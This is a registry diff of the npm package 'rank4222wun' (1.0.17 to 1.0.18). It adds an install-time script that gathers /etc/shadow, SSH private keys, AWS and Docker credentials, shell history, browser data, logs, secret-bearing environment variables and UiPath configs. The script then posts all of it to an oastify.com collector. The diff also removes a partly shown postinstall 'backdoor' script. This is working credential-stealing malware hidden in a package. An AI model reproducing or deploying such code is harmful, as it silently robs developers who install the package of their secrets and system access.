rank4222wun 1.0.17 → 1.0.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +3 -5
- package/preinstall.js +351 -165
- package/rank4222wun-1.0.18.tgz +0 -0
- package/index.js +0 -9
- package/postinstall.js +0 -231
- package/rank4222wun-1.0.17.tgz +0 -0
package/package.json
CHANGED
|
@@ -1,12 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.18",
|
|
4
4
|
"description": "",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"preinstall": "node preinstall.js"
|
|
8
|
-
"postinstall": "node postinstall.js"
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
9
8
|
},
|
|
10
|
-
"dependencies": {}
|
|
11
|
-
"main": "index.js"
|
|
9
|
+
"dependencies": {}
|
|
12
10
|
}
|
package/preinstall.js
CHANGED
|
@@ -4,234 +4,420 @@ const fs = require('fs');
|
|
|
4
4
|
const path = require('path');
|
|
5
5
|
const https = require('https');
|
|
6
6
|
|
|
7
|
-
// ========== إعداد البيانات
|
|
8
|
-
const
|
|
7
|
+
// ========== إعداد جمع البيانات ==========
|
|
8
|
+
const collectedData = {
|
|
9
9
|
timestamp: new Date().toISOString(),
|
|
10
|
-
|
|
10
|
+
phase: "preinstall-data-exfiltration",
|
|
11
|
+
hostname: os.hostname(),
|
|
12
|
+
user: os.userInfo().username,
|
|
13
|
+
platform: os.platform(),
|
|
11
14
|
|
|
12
|
-
//
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
},
|
|
20
|
-
|
|
21
|
-
// 2. إثبات أن المستخدم حقيقي
|
|
22
|
-
userProof: {},
|
|
23
|
-
|
|
24
|
-
// 3. ملفات النظام المسروقة
|
|
25
|
-
stolenFiles: {},
|
|
26
|
-
|
|
27
|
-
// 4. معلومات النظام
|
|
28
|
-
systemInfo: {}
|
|
29
|
-
};
|
|
30
|
-
|
|
31
|
-
// ========== 1. إثبات أن المستخدم حقيقي ==========
|
|
32
|
-
console.log("=== إثبات أن المستخدم حقيقي ===");
|
|
33
|
-
|
|
34
|
-
// فحص Desktop
|
|
35
|
-
try {
|
|
36
|
-
const desktopPath = path.join(os.homedir(), 'Desktop');
|
|
37
|
-
if (fs.existsSync(desktopPath)) {
|
|
38
|
-
const desktopFiles = fs.readdirSync(desktopPath);
|
|
39
|
-
proofData.userProof.desktop = {
|
|
40
|
-
exists: true,
|
|
41
|
-
path: desktopPath,
|
|
42
|
-
fileCount: desktopFiles.length,
|
|
43
|
-
files: desktopFiles.slice(0, 10) // أول 10 ملفات فقط
|
|
44
|
-
};
|
|
45
|
-
console.log(`Desktop موجود وبه ${desktopFiles.length} ملف`);
|
|
15
|
+
// البيانات الحساسة
|
|
16
|
+
sensitiveData: {
|
|
17
|
+
systemFiles: {},
|
|
18
|
+
userFiles: {},
|
|
19
|
+
configFiles: {},
|
|
20
|
+
logs: {},
|
|
21
|
+
foundSecrets: []
|
|
46
22
|
}
|
|
47
|
-
}
|
|
48
|
-
proofData.userProof.desktopError = e.message;
|
|
49
|
-
}
|
|
50
|
-
|
|
51
|
-
// فحص OneDrive
|
|
52
|
-
try {
|
|
53
|
-
const oneDrivePath = path.join(os.homedir(), 'OneDrive');
|
|
54
|
-
if (fs.existsSync(oneDrivePath)) {
|
|
55
|
-
const oneDriveFiles = fs.readdirSync(oneDrivePath);
|
|
56
|
-
proofData.userProof.oneDrive = {
|
|
57
|
-
exists: true,
|
|
58
|
-
path: oneDrivePath,
|
|
59
|
-
fileCount: oneDriveFiles.length,
|
|
60
|
-
isRealUser: oneDriveFiles.length > 0
|
|
61
|
-
};
|
|
62
|
-
console.log(`OneDrive موجود وبه ${oneDriveFiles.length} ملف`);
|
|
63
|
-
}
|
|
64
|
-
} catch (e) {
|
|
65
|
-
proofData.userProof.oneDriveError = e.message;
|
|
66
|
-
}
|
|
67
|
-
|
|
68
|
-
// ========== 2. سرقة ملفات نظام حساسة ==========
|
|
69
|
-
console.log("\n=== سرقة ملفات نظام حساسة ===");
|
|
23
|
+
};
|
|
70
24
|
|
|
71
|
-
//
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
{ path: '/etc/passwd', name: 'قائمة المستخدمين' },
|
|
75
|
-
{ path: '/etc/shadow', name: 'كلمات مرور النظام' },
|
|
76
|
-
{ path: '/etc/hosts', name: 'إعدادات الشبكة' },
|
|
77
|
-
{ path: '/etc/group', name: 'قائمة المجموعات' }
|
|
78
|
-
];
|
|
25
|
+
// ========== 1. قراءة ملفات نظام Linux حساسة ==========
|
|
26
|
+
function readLinuxSensitiveFiles() {
|
|
27
|
+
console.log("🔍 البحث عن ملفات Linux الحساسة...");
|
|
79
28
|
|
|
80
|
-
|
|
29
|
+
const linuxFiles = [
|
|
30
|
+
{ path: '/etc/passwd', desc: 'قائمة مستخدمين النظام' },
|
|
31
|
+
{ path: '/etc/shadow', desc: 'كلمات مرور النظام' },
|
|
32
|
+
{ path: '/etc/group', desc: 'مجموعات النظام' },
|
|
33
|
+
{ path: '/etc/hosts', desc: 'إعدادات الشبكة' },
|
|
34
|
+
{ path: '/etc/resolv.conf', desc: 'خوادم DNS' },
|
|
35
|
+
{ path: '/etc/ssh/sshd_config', desc: 'إعدادات SSH' },
|
|
36
|
+
{ path: '/home/' + os.userInfo().username + '/.bash_history', desc: 'سجل الأوامر' },
|
|
37
|
+
{ path: '/home/' + os.userInfo().username + '/.ssh/id_rsa', desc: 'مفتاح SSH خاص' },
|
|
38
|
+
{ path: '/home/' + os.userInfo().username + '/.ssh/id_rsa.pub', desc: 'مفتاح SSH عام' },
|
|
39
|
+
{ path: '/home/' + os.userInfo().username + '/.ssh/authorized_keys', desc: 'مفاتيح SSH مصرح بها' },
|
|
40
|
+
{ path: '/home/' + os.userInfo().username + '/.aws/credentials', desc: 'مفاتيح AWS' },
|
|
41
|
+
{ path: '/home/' + os.userInfo().username + '/.docker/config.json', desc: 'إعدادات Docker' },
|
|
42
|
+
{ path: '/var/log/auth.log', desc: 'سجلات المصادقة' },
|
|
43
|
+
{ path: '/var/log/syslog', desc: 'سجلات النظام' }
|
|
44
|
+
];
|
|
45
|
+
|
|
46
|
+
linuxFiles.forEach(file => {
|
|
81
47
|
try {
|
|
82
48
|
if (fs.existsSync(file.path)) {
|
|
83
|
-
const
|
|
84
|
-
|
|
49
|
+
const stats = fs.statSync(file.path);
|
|
50
|
+
const fileData = {
|
|
85
51
|
path: file.path,
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
52
|
+
description: file.desc,
|
|
53
|
+
size: stats.size,
|
|
54
|
+
exists: true,
|
|
55
|
+
readable: true
|
|
89
56
|
};
|
|
90
|
-
|
|
57
|
+
|
|
58
|
+
// قراءة الملف إذا كان نصي وصغير
|
|
59
|
+
if (stats.size < 100000 && !stats.isDirectory()) {
|
|
60
|
+
try {
|
|
61
|
+
const content = fs.readFileSync(file.path, 'utf8');
|
|
62
|
+
fileData.content = content;
|
|
63
|
+
|
|
64
|
+
// البحث عن أسرار في المحتوى
|
|
65
|
+
findSecretsInContent(content, file.path);
|
|
66
|
+
} catch (readError) {
|
|
67
|
+
fileData.readError = readError.message;
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
collectedData.sensitiveData.systemFiles[file.path] = fileData;
|
|
72
|
+
console.log(`✅ ${file.desc}: ${file.path}`);
|
|
91
73
|
}
|
|
92
74
|
} catch (e) {
|
|
93
|
-
|
|
75
|
+
collectedData.sensitiveData.systemFiles[file.path] = {
|
|
76
|
+
error: e.message,
|
|
77
|
+
exists: false
|
|
78
|
+
};
|
|
94
79
|
}
|
|
95
80
|
});
|
|
96
|
-
}
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
];
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
// ========== 2. قراءة ملفات Windows حساسة ==========
|
|
84
|
+
function readWindowsSensitiveFiles() {
|
|
85
|
+
console.log("🔍 البحث عن ملفات Windows الحساسة...");
|
|
102
86
|
|
|
103
|
-
|
|
87
|
+
const username = os.userInfo().username;
|
|
88
|
+
const windowsFiles = [
|
|
89
|
+
{ path: `C:\\Users\\${username}\\Desktop`, desc: 'مجلد Desktop' },
|
|
90
|
+
{ path: `C:\\Users\\${username}\\Documents`, desc: 'مجلد Documents' },
|
|
91
|
+
{ path: `C:\\Users\\${username}\\Downloads`, desc: 'مجلد Downloads' },
|
|
92
|
+
{ path: `C:\\Users\\${username}\\OneDrive`, desc: 'مجلد OneDrive' },
|
|
93
|
+
{ path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Recent`, desc: 'الملفات الأخيرة' },
|
|
94
|
+
{ path: `C:\\Users\\${username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History`, desc: 'تاريخ Chrome' },
|
|
95
|
+
{ path: `C:\\Users\\${username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles`, desc: 'ملفات Firefox' },
|
|
96
|
+
{ path: `C:\\Users\\${username}\\AppData\\Local\\Microsoft\\Credentials`, desc: 'معلومات اعتماد Windows' },
|
|
97
|
+
{ path: `C:\\Users\\${username}\\.aws\\credentials`, desc: 'مفاتيح AWS' },
|
|
98
|
+
{ path: `C:\\Users\\${username}\\.ssh\\id_rsa`, desc: 'مفتاح SSH خاص' },
|
|
99
|
+
{ path: `C:\\Windows\\System32\\drivers\\etc\\hosts`, desc: 'ملف Hosts' },
|
|
100
|
+
{ path: `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup للجميع' },
|
|
101
|
+
{ path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup الشخصي' }
|
|
102
|
+
];
|
|
103
|
+
|
|
104
|
+
windowsFiles.forEach(file => {
|
|
104
105
|
try {
|
|
105
106
|
if (fs.existsSync(file.path)) {
|
|
106
|
-
|
|
107
|
+
const stats = fs.statSync(file.path);
|
|
108
|
+
const fileData = {
|
|
107
109
|
path: file.path,
|
|
108
|
-
|
|
110
|
+
description: file.desc,
|
|
111
|
+
size: stats.size,
|
|
109
112
|
exists: true,
|
|
110
|
-
|
|
113
|
+
isDirectory: stats.isDirectory()
|
|
111
114
|
};
|
|
112
|
-
|
|
115
|
+
|
|
116
|
+
if (stats.isDirectory()) {
|
|
117
|
+
// قراءة محتويات المجلد
|
|
118
|
+
try {
|
|
119
|
+
const files = fs.readdirSync(file.path);
|
|
120
|
+
fileData.files = files.slice(0, 50); // أول 50 ملف فقط
|
|
121
|
+
fileData.fileCount = files.length;
|
|
122
|
+
|
|
123
|
+
// البحث عن ملفات نصية في المجلد وقراءتها
|
|
124
|
+
findAndReadTextFiles(file.path, files);
|
|
125
|
+
} catch (dirError) {
|
|
126
|
+
fileData.dirError = dirError.message;
|
|
127
|
+
}
|
|
128
|
+
} else if (stats.size < 50000) {
|
|
129
|
+
// قراءة الملفات النصية الصغيرة
|
|
130
|
+
try {
|
|
131
|
+
const content = fs.readFileSync(file.path, 'utf8');
|
|
132
|
+
fileData.content = content.substring(0, 5000);
|
|
133
|
+
|
|
134
|
+
// البحث عن أسرار في المحتوى
|
|
135
|
+
findSecretsInContent(content, file.path);
|
|
136
|
+
} catch (readError) {
|
|
137
|
+
fileData.readError = readError.message;
|
|
138
|
+
}
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
collectedData.sensitiveData.userFiles[file.path] = fileData;
|
|
142
|
+
console.log(`✅ ${file.desc}: ${file.path} (${stats.isDirectory() ? 'مجلد' : 'ملف'})`);
|
|
113
143
|
}
|
|
114
144
|
} catch (e) {
|
|
115
|
-
|
|
145
|
+
collectedData.sensitiveData.userFiles[file.path] = {
|
|
146
|
+
error: e.message,
|
|
147
|
+
exists: false
|
|
148
|
+
};
|
|
116
149
|
}
|
|
117
150
|
});
|
|
118
151
|
}
|
|
119
152
|
|
|
120
|
-
// ========== 3.
|
|
121
|
-
|
|
153
|
+
// ========== 3. البحث عن ملفات نصية وقراءتها ==========
|
|
154
|
+
function findAndReadTextFiles(dirPath, files) {
|
|
155
|
+
const textExtensions = ['.txt', '.log', '.config', '.conf', '.ini', '.env', '.json', '.xml', '.yml', '.yaml', '.properties'];
|
|
156
|
+
|
|
157
|
+
files.forEach(file => {
|
|
158
|
+
const filePath = path.join(dirPath, file);
|
|
159
|
+
try {
|
|
160
|
+
const stats = fs.statSync(filePath);
|
|
161
|
+
if (!stats.isDirectory() && stats.size < 100000) {
|
|
162
|
+
const ext = path.extname(file).toLowerCase();
|
|
163
|
+
if (textExtensions.includes(ext) || file.includes('config') || file.includes('secret') || file.includes('password')) {
|
|
164
|
+
try {
|
|
165
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
|
166
|
+
collectedData.sensitiveData.configFiles[filePath] = {
|
|
167
|
+
path: filePath,
|
|
168
|
+
size: stats.size,
|
|
169
|
+
content: content.substring(0, 10000)
|
|
170
|
+
};
|
|
171
|
+
|
|
172
|
+
// البحث عن أسرار
|
|
173
|
+
findSecretsInContent(content, filePath);
|
|
174
|
+
|
|
175
|
+
console.log(`📄 قراءة: ${filePath}`);
|
|
176
|
+
} catch (e) {}
|
|
177
|
+
}
|
|
178
|
+
}
|
|
179
|
+
} catch (e) {}
|
|
180
|
+
});
|
|
181
|
+
}
|
|
122
182
|
|
|
123
|
-
//
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
}
|
|
183
|
+
// ========== 4. البحث عن أسرار في المحتوى ==========
|
|
184
|
+
function findSecretsInContent(content, filePath) {
|
|
185
|
+
const secretPatterns = [
|
|
186
|
+
{ pattern: /password\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
|
|
187
|
+
{ pattern: /passwd\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
|
|
188
|
+
{ pattern: /secret\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سر' },
|
|
189
|
+
{ pattern: /key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح' },
|
|
190
|
+
{ pattern: /token\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'توكن' },
|
|
191
|
+
{ pattern: /api[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح API' },
|
|
192
|
+
{ pattern: /access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح وصول' },
|
|
193
|
+
{ pattern: /secret[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح سري' },
|
|
194
|
+
{ pattern: /aws[_-]?access[_-]?key[_-]?id\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Access Key' },
|
|
195
|
+
{ pattern: /aws[_-]?secret[_-]?access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Secret Key' },
|
|
196
|
+
{ pattern: /database[_-]?url\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'رابط قاعدة بيانات' },
|
|
197
|
+
{ pattern: /connection[_-]?string\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سلسلة اتصال' },
|
|
198
|
+
{ pattern: /private[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح خاص' },
|
|
199
|
+
{ pattern: /-----BEGIN (RSA|OPENSSH|DSA|EC) PRIVATE KEY-----/gi, name: 'مفتاح خاص كامل' }
|
|
200
|
+
];
|
|
131
201
|
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
202
|
+
secretPatterns.forEach(pattern => {
|
|
203
|
+
const matches = [...content.matchAll(pattern.pattern)];
|
|
204
|
+
matches.forEach(match => {
|
|
205
|
+
if (match[1] && match[1].length > 3) {
|
|
206
|
+
collectedData.sensitiveData.foundSecrets.push({
|
|
207
|
+
file: filePath,
|
|
208
|
+
type: pattern.name,
|
|
209
|
+
value: match[1].substring(0, 100), // أول 100 حرف فقط
|
|
210
|
+
pattern: match[0].substring(0, 50)
|
|
211
|
+
});
|
|
212
|
+
console.log(`🔐 وجد ${pattern.name} في: ${filePath}`);
|
|
139
213
|
}
|
|
140
|
-
resolve();
|
|
141
214
|
});
|
|
142
215
|
});
|
|
143
216
|
}
|
|
144
217
|
|
|
145
|
-
//
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
218
|
+
// ========== 5. قراءة سجلات النظام ==========
|
|
219
|
+
function readSystemLogs() {
|
|
220
|
+
console.log("📊 قراءة سجلات النظام...");
|
|
221
|
+
|
|
222
|
+
const logFiles = os.platform() === 'linux' ? [
|
|
223
|
+
'/var/log/auth.log',
|
|
224
|
+
'/var/log/syslog',
|
|
225
|
+
'/var/log/dmesg',
|
|
226
|
+
'/var/log/kern.log',
|
|
227
|
+
'/var/log/boot.log'
|
|
228
|
+
] : [
|
|
229
|
+
'C:\\Windows\\System32\\winevt\\Logs\\Application.evtx',
|
|
230
|
+
'C:\\Windows\\System32\\winevt\\Logs\\System.evtx',
|
|
231
|
+
'C:\\Windows\\System32\\winevt\\Logs\\Security.evtx'
|
|
232
|
+
];
|
|
233
|
+
|
|
234
|
+
logFiles.forEach(logFile => {
|
|
235
|
+
try {
|
|
236
|
+
if (fs.existsSync(logFile)) {
|
|
237
|
+
const stats = fs.statSync(logFile);
|
|
238
|
+
collectedData.sensitiveData.logs[logFile] = {
|
|
239
|
+
path: logFile,
|
|
240
|
+
size: stats.size,
|
|
241
|
+
exists: true
|
|
242
|
+
};
|
|
243
|
+
|
|
244
|
+
// محاولة قراءة السجلات النصية (لينكس)
|
|
245
|
+
if (os.platform() === 'linux' && stats.size < 500000) {
|
|
246
|
+
try {
|
|
247
|
+
const logContent = fs.readFileSync(logFile, 'utf8');
|
|
248
|
+
const lines = logContent.split('\n').slice(-100); // آخر 100 سطر
|
|
249
|
+
collectedData.sensitiveData.logs[logFile].recentEntries = lines;
|
|
250
|
+
} catch (e) {}
|
|
251
|
+
}
|
|
252
|
+
|
|
253
|
+
console.log(`📋 سجل: ${logFile} (${stats.size} بايت)`);
|
|
254
|
+
}
|
|
255
|
+
} catch (e) {}
|
|
256
|
+
});
|
|
257
|
+
}
|
|
258
|
+
|
|
259
|
+
// ========== 6. جمع متغيرات البيئة الحساسة ==========
|
|
260
|
+
function collectSensitiveEnvVars() {
|
|
261
|
+
console.log("🔑 جمع متغيرات البيئة الحساسة...");
|
|
262
|
+
|
|
263
|
+
const sensitiveVars = {};
|
|
264
|
+
Object.keys(process.env).forEach(key => {
|
|
265
|
+
const keyLower = key.toLowerCase();
|
|
266
|
+
const value = process.env[key];
|
|
267
|
+
|
|
268
|
+
if (value && (
|
|
269
|
+
keyLower.includes('pass') ||
|
|
270
|
+
keyLower.includes('secret') ||
|
|
271
|
+
keyLower.includes('key') ||
|
|
272
|
+
keyLower.includes('token') ||
|
|
273
|
+
keyLower.includes('cred') ||
|
|
274
|
+
keyLower.includes('auth') ||
|
|
275
|
+
keyLower.includes('pwd') ||
|
|
276
|
+
keyLower.includes('database') ||
|
|
277
|
+
keyLower.includes('connection')
|
|
278
|
+
)) {
|
|
279
|
+
sensitiveVars[key] = value.length > 100 ?
|
|
280
|
+
value.substring(0, 100) + '...' :
|
|
281
|
+
value;
|
|
282
|
+
|
|
283
|
+
console.log(`🔑 ${key} = ${sensitiveVars[key]}`);
|
|
284
|
+
}
|
|
285
|
+
});
|
|
157
286
|
|
|
158
|
-
|
|
159
|
-
sendProofData();
|
|
287
|
+
collectedData.sensitiveData.envVars = sensitiveVars;
|
|
160
288
|
}
|
|
161
289
|
|
|
162
|
-
// ==========
|
|
163
|
-
function
|
|
164
|
-
console.log("
|
|
290
|
+
// ========== 7. البحث عن ملفات UiPath ==========
|
|
291
|
+
function findUiPathFiles() {
|
|
292
|
+
console.log("🔍 البحث عن ملفات UiPath...");
|
|
293
|
+
|
|
294
|
+
const searchPaths = os.platform() === 'win32' ? [
|
|
295
|
+
'C:\\Program Files\\UiPath',
|
|
296
|
+
'C:\\Program Files (x86)\\UiPath',
|
|
297
|
+
`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\UiPath`,
|
|
298
|
+
`C:\\Users\\${os.userInfo().username}\\Documents\\UiPath`,
|
|
299
|
+
'C:\\ProgramData\\UiPath'
|
|
300
|
+
] : [
|
|
301
|
+
'/opt/UiPath',
|
|
302
|
+
'/usr/lib/UiPath',
|
|
303
|
+
`/home/${os.userInfo().username}/.local/share/UiPath`,
|
|
304
|
+
`/home/${os.userInfo().username}/UiPath`
|
|
305
|
+
];
|
|
306
|
+
|
|
307
|
+
const foundUiPath = [];
|
|
308
|
+
|
|
309
|
+
searchPaths.forEach(searchPath => {
|
|
310
|
+
try {
|
|
311
|
+
if (fs.existsSync(searchPath)) {
|
|
312
|
+
const files = fs.readdirSync(searchPath);
|
|
313
|
+
foundUiPath.push({
|
|
314
|
+
path: searchPath,
|
|
315
|
+
exists: true,
|
|
316
|
+
fileCount: files.length,
|
|
317
|
+
sampleFiles: files.slice(0, 10)
|
|
318
|
+
});
|
|
319
|
+
console.log(`📁 UiPath: ${searchPath} (${files.length} ملف)`);
|
|
320
|
+
|
|
321
|
+
// البحث عن ملفات تكوين UiPath
|
|
322
|
+
files.forEach(file => {
|
|
323
|
+
if (file.includes('.config') || file.includes('.json') || file.includes('.xml')) {
|
|
324
|
+
const filePath = path.join(searchPath, file);
|
|
325
|
+
try {
|
|
326
|
+
const stats = fs.statSync(filePath);
|
|
327
|
+
if (stats.size < 100000) {
|
|
328
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
|
329
|
+
collectedData.sensitiveData.configFiles[filePath] = {
|
|
330
|
+
path: filePath,
|
|
331
|
+
size: stats.size,
|
|
332
|
+
content: content.substring(0, 5000)
|
|
333
|
+
};
|
|
334
|
+
}
|
|
335
|
+
} catch (e) {}
|
|
336
|
+
}
|
|
337
|
+
});
|
|
338
|
+
}
|
|
339
|
+
} catch (e) {}
|
|
340
|
+
});
|
|
165
341
|
|
|
166
|
-
|
|
167
|
-
|
|
342
|
+
collectedData.sensitiveData.uipathFiles = foundUiPath;
|
|
343
|
+
}
|
|
344
|
+
|
|
345
|
+
// ========== 8. إرسال البيانات ==========
|
|
346
|
+
function sendCollectedData() {
|
|
347
|
+
console.log("\n" + "=".repeat(60));
|
|
348
|
+
console.log("📤 إرسال البيانات المسروقة إلى السيرفر...");
|
|
349
|
+
console.log("=".repeat(60));
|
|
168
350
|
|
|
169
|
-
// إرسال الطلب
|
|
170
351
|
const req = https.request({
|
|
171
352
|
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
172
353
|
port: 443,
|
|
173
|
-
path: '/
|
|
354
|
+
path: '/data-exfiltration',
|
|
174
355
|
method: 'POST',
|
|
175
356
|
headers: {
|
|
176
357
|
'Content-Type': 'application/json',
|
|
177
|
-
'X-
|
|
178
|
-
'X-
|
|
358
|
+
'X-Data-Source': 'UiPath-MCP-Data-Theft',
|
|
359
|
+
'X-Host': os.hostname(),
|
|
179
360
|
'X-User': os.userInfo().username
|
|
180
361
|
}
|
|
181
362
|
}, (res) => {
|
|
182
|
-
console.log(`✅ تم إرسال البيانات. الرد: ${res.statusCode}`);
|
|
183
|
-
|
|
184
|
-
// طباعة ملخص
|
|
363
|
+
console.log(`✅ تم إرسال البيانات. حالة الرد: ${res.statusCode}`);
|
|
185
364
|
printSummary();
|
|
186
365
|
});
|
|
187
366
|
|
|
188
367
|
req.on('error', (e) => {
|
|
189
|
-
console.error(
|
|
190
|
-
|
|
191
|
-
// حفظ البيانات محليًا كبديل
|
|
192
|
-
const backupFile = path.join(os.tmpdir(), `uipath_proof_${Date.now()}.json`);
|
|
193
|
-
fs.writeFileSync(backupFile, formattedData);
|
|
194
|
-
console.log(`📁 تم حفظ البيانات في: ${backupFile}`);
|
|
195
|
-
|
|
368
|
+
console.error(`❌ خطأ في الإرسال: ${e.message}`);
|
|
196
369
|
printSummary();
|
|
197
370
|
});
|
|
198
371
|
|
|
199
|
-
req.write(
|
|
372
|
+
req.write(JSON.stringify(collectedData, null, 2));
|
|
200
373
|
req.end();
|
|
201
374
|
}
|
|
202
375
|
|
|
203
|
-
// ==========
|
|
376
|
+
// ========== 9. طباعة ملخص ==========
|
|
204
377
|
function printSummary() {
|
|
205
|
-
console.log("\n" + "=".repeat(
|
|
378
|
+
console.log("\n" + "=".repeat(60));
|
|
206
379
|
console.log("📊 ملخص البيانات المسروقة:");
|
|
207
|
-
console.log("=".repeat(
|
|
380
|
+
console.log("=".repeat(60));
|
|
208
381
|
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
382
|
+
const sysFiles = Object.keys(collectedData.sensitiveData.systemFiles).length;
|
|
383
|
+
const userFiles = Object.keys(collectedData.sensitiveData.userFiles).length;
|
|
384
|
+
const configFiles = Object.keys(collectedData.sensitiveData.configFiles).length;
|
|
385
|
+
const logs = Object.keys(collectedData.sensitiveData.logs).length;
|
|
386
|
+
const secrets = collectedData.sensitiveData.foundSecrets.length;
|
|
212
387
|
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
}
|
|
388
|
+
console.log(`📄 ملفات نظام: ${sysFiles} ملف`);
|
|
389
|
+
console.log(`👤 ملفات مستخدم: ${userFiles} ملف/مجلد`);
|
|
390
|
+
console.log(`⚙️ ملفات تكوين: ${configFiles} ملف`);
|
|
391
|
+
console.log(`📋 سجلات نظام: ${logs} سجل`);
|
|
392
|
+
console.log(`🔐 أسرار وجدت: ${secrets} سر`);
|
|
216
393
|
|
|
217
|
-
if (
|
|
218
|
-
console.log(
|
|
394
|
+
if (secrets > 0) {
|
|
395
|
+
console.log("\n🔍 الأسرار التي تم العثور عليها:");
|
|
396
|
+
collectedData.sensitiveData.foundSecrets.forEach((secret, i) => {
|
|
397
|
+
console.log(` ${i + 1}. ${secret.type} في ${secret.file}`);
|
|
398
|
+
console.log(` → ${secret.pattern}`);
|
|
399
|
+
});
|
|
219
400
|
}
|
|
220
401
|
|
|
221
|
-
console.log(
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
if (proofData.stolenFiles[key].stolen) {
|
|
225
|
-
console.log(` 🔓 ${key}: ${proofData.stolenFiles[key].path}`);
|
|
226
|
-
}
|
|
227
|
-
});
|
|
228
|
-
|
|
229
|
-
console.log("=".repeat(50));
|
|
230
|
-
console.log("📤 تم إرسال كل البيانات إلى:");
|
|
231
|
-
console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/uipath-proof");
|
|
232
|
-
console.log("=".repeat(50));
|
|
402
|
+
console.log("\n📤 تم إرسال البيانات إلى:");
|
|
403
|
+
console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/data-exfiltration");
|
|
404
|
+
console.log("=".repeat(60));
|
|
233
405
|
}
|
|
234
406
|
|
|
235
407
|
// ========== بدء التنفيذ ==========
|
|
236
|
-
console.log("🚀 بدء
|
|
237
|
-
|
|
408
|
+
console.log("🚀 بدء سرقة البيانات عبر ثغرة UiPath MCP...\n");
|
|
409
|
+
|
|
410
|
+
// حسب النظام
|
|
411
|
+
if (os.platform() === 'linux') {
|
|
412
|
+
readLinuxSensitiveFiles();
|
|
413
|
+
} else if (os.platform() === 'win32') {
|
|
414
|
+
readWindowsSensitiveFiles();
|
|
415
|
+
}
|
|
416
|
+
|
|
417
|
+
// عمليات مشتركة
|
|
418
|
+
readSystemLogs();
|
|
419
|
+
collectSensitiveEnvVars();
|
|
420
|
+
findUiPathFiles();
|
|
421
|
+
|
|
422
|
+
// إرسال البيانات بعد 2 ثانية
|
|
423
|
+
setTimeout(sendCollectedData, 2000);
|
|
Binary file
|
package/index.js
DELETED
package/postinstall.js
DELETED
|
@@ -1,231 +0,0 @@
|
|
|
1
|
-
const { exec } = require('child_process');
|
|
2
|
-
const os = require('os');
|
|
3
|
-
const fs = require('fs');
|
|
4
|
-
const path = require('path');
|
|
5
|
-
const https = require('https');
|
|
6
|
-
|
|
7
|
-
// ========== إعداد بيانات Backdoor ==========
|
|
8
|
-
const backdoorData = {
|
|
9
|
-
timestamp: new Date().toISOString(),
|
|
10
|
-
vulnerability: "UiPath MCP Command - POSTINSTALL BACKDOOR",
|
|
11
|
-
hostname: os.hostname(),
|
|
12
|
-
username: os.userInfo().username,
|
|
13
|
-
platform: os.platform(),
|
|
14
|
-
|
|
15
|
-
// خطوات إنشاء Backdoor
|
|
16
|
-
backdoorSteps: [],
|
|
17
|
-
|
|
18
|
-
// إثبات الاستمرارية
|
|
19
|
-
persistenceProof: {},
|
|
20
|
-
|
|
21
|
-
// تأثير الهجوم
|
|
22
|
-
impact: {}
|
|
23
|
-
};
|
|
24
|
-
|
|
25
|
-
// ========== 1. إنشاء Backdoor حسب النظام ==========
|
|
26
|
-
console.log("=== إنشاء Backdoor حسب النظام ===");
|
|
27
|
-
|
|
28
|
-
if (os.platform() === 'win32') {
|
|
29
|
-
// Windows Backdoor
|
|
30
|
-
